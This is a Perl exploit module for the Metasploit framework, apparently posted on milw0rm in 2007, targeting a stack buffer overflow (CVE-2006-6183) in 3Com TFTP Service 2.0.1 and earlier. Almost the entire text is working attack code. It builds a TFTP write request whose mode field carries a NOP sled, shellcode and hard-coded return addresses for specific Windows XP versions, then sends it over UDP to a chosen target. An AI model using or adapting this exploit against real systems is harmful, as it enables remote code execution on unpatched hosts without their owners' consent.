3Com TFTP Service <= 2.0.1 - Remote Buffer Overflow Exploit (meta)

                                                package Msf::Exploit::3com_tftp_long_mode;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket;

my $advanced = 
  {
  };

my $info =
  {
	'Name'           => 'TFTP Server 3CTftpSvc Buffer Overflow Vulnerability',
	'Version'        => '$ 1.0 $',
	'Authors'        => ['Enseirb <vincenty [at] enseirb.fr>', ],
	'Description'    =>
	  Pex::Text::Freeform(qq{
		This vulnerability is caused due to a boundary error during the processing of TFTP Read/Write request packet types. This can be exploited to cause a stack-based buffer overflow by sending a specially crafted packet with an overly long mode field (more than 460 bytes).
                            }),

	'Arch'           => [ 'x86' ],
	'OS'             => [ 'win32' ],
	'Priv'           => 0,

	'AutoOpts'       => { 'EXITFUNC' => 'seh' },
	'UserOpts'       =>
	  {
		'RHOST'  => [ 1, 'ADDR', 'The TFTP target adress', "127.0.0.1" ],
		'RPORT'  => [ 0, 'PORT', 'The TFTP target port', 69 ],
	  },	

	'Payload'        =>
	  {
		'Space'    => 344,
		'BadChars' => "\x00",
	  },

	'Refs'           =>
	  [
		['URL', 'http://www.securityfocus.com/bid/21301'],
		['CVE', '2006-6183'],
		['URL', 'http://secunia.com/advisories/23113'],
		['URL', 'http://www.securityfocus.com/archive/1/452754'],		
	  ],

	'DefaultTarget'  => 0,
	'Targets'        =>
	  [
		[ '0 - Windows XP SP2 ENG', 0x77d4e23b ], #or 0x77bc2063
	        [ '1 - Windows XP SP1 FR', 0x77d8117b ],
	        [ '2 - Windows XP SP2 FR', 0x77d8d9af ],
	  ],

	'Keys'           => [ '3com' ],

	'DisclosureDate' => 'Nov 27 2006',
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit 
{
    my $self = shift;
    my $target_idx  = $self->GetVar('TARGET');
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $shellcode = $self->GetVar('EncodedPayload')->Payload;
    my $target = $self->Targets->[$target_idx];

    my $buff = "\x00\x02"; # for a WRQ (WriteReQuest) (or "\x00\x01" for a RRQ)
    $buff .= "filename_string";
    $buff .= "\x00";
    $buff .= $self->MakeNops(129) . $shellcode; 
    $buff .= pack('V',$target->[1]);
    $buff .= "\x00";

    $self->PrintLine('[+] Try to connect... ' . $target_host . ':' . $target_port);

    my $s = Msf::Socket::Udp->new
	(
	 'PeerAddr'  => $target_host,
	 'PeerPort'  => $target_port,	 
	);
    
    if ($s->IsError) {
	$self->PrintLine('[-] Error creating socket: ' . $s->GetError);
	return;
    }
 
    $self->PrintLine('[+] Connected!');
    $self->PrintLine('[+] Sending exploit...');

    $s->Send($buff);
    $self->PrintLine('[+] Exploit sent!');
    $s->Close();

    return;
}

1;

# milw0rm.com [2007-01-21]